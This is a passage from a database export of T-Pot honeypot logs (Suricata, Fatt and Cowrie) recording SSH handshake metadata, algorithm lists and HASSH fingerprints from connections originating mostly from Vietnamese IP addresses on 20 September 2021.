"event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
26197	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:11:46.81078+03	2021-09-20 14:15:12.958645+03	{"_id": "YwbnAnwBvYTbRNuEoiAa", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 903160427370326, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 57168, "dest_port": 22, "timestamp": "2021-09-20T11:11:46.810780Z", "@timestamp": "2021-09-20T11:11:46.810Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
26198	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:11:46.469134+03	2021-09-20 14:15:12.959645+03	{"_id": "ZQbnAnwBvYTbRNuEoyBB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 60394, "timestamp": "2021-09-20T11:11:46.469134", "@timestamp": "2021-09-20T11:11:46.469Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26199	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:11:46.622221+03	2021-09-20 14:15:12.961646+03	{"_id": "ZgbnAnwBvYTbRNuEoyBB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 43136, "timestamp": "2021-09-20T11:11:46.622221", "@timestamp": "2021-09-20T11:11:46.622Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26200	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:11:46.622277+03	2021-09-20 14:15:12.962646+03	{"_id": "ZwbnAnwBvYTbRNuEoyBB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 43136, "dest_port": 22, "timestamp": "2021-09-20T11:11:46.622277", "@timestamp": "2021-09-20T11:11:46.622Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26201	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:11:46.754103+03	2021-09-20 14:15:12.963646+03	{"_id": "aAbnAnwBvYTbRNuEoyBB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 51766, "timestamp": "2021-09-20T11:11:46.754103", "@timestamp": "2021-09-20T11:11:46.754Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26202	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:11:46.78114+03	2021-09-20 14:15:12.964646+03	{"_id": "aQbnAnwBvYTbRNuEoyBB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 51766, "dest_port": 22, "timestamp": "2021-09-20T11:11:46.781140", "@timestamp": "2021-09-20T11:11:46.781Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
26263	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:11:20.767215+03	2021-09-20 14:15:13.042646+03	{"_id": "ngbnAnwBvYTbRNuEPh5E", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "a48fc538d843", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:11:20.767215Z", "@timestamp": "2021-09-20T11:11:20.767Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
26203	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:11:46.810902+03	2021-09-20 14:15:12.966644+03	{"_id": "agbnAnwBvYTbRNuEoyBB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 57168, "timestamp": "2021-09-20T11:11:46.810902", "@timestamp": "2021-09-20T11:11:46.810Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26204	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:11:46.81117+03	2021-09-20 14:15:12.967646+03	{"_id": "awbnAnwBvYTbRNuEoyBB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 57168, "dest_port": 22, "timestamp": "2021-09-20T11:11:46.811170", "@timestamp": "2021-09-20T11:11:46.811Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26205	116.105.211.46	109.199.241.180	Fatt	2021-09-20 14:11:46.83623+03	2021-09-20 14:15:12.968646+03	{"_id": "bAbnAnwBvYTbRNuEoyBB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": 